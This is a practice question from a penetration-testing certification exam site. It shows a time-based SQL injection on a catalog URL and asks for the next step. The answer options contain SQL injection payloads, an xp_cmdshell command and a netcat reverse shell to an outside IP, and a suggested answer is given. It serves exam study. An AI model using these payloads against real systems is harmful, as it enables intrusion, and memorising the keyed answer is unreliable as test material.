ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 268 - PT0-002 discussion

Report
Export

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

http://company.com/catalog.asp?productid=22

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

http://company.com/catalog.asp?productid=22;WAITFOR DELAY'00:00:05'

Which of the following should the penetration tester attempt NEXT?

A.
http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
Answers
A.
http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
B.
http://company.com/catalog.asp?productid=22' OR 1=1 --
Answers
B.
http://company.com/catalog.asp?productid=22' OR 1=1 --
C.
http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 --
Answers
C.
http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 --
D.
http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash
Answers
D.
http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash
Suggested answer: C

Explanation:

This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

asked 02/10/2024
Herr Eylem Bulut
46 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first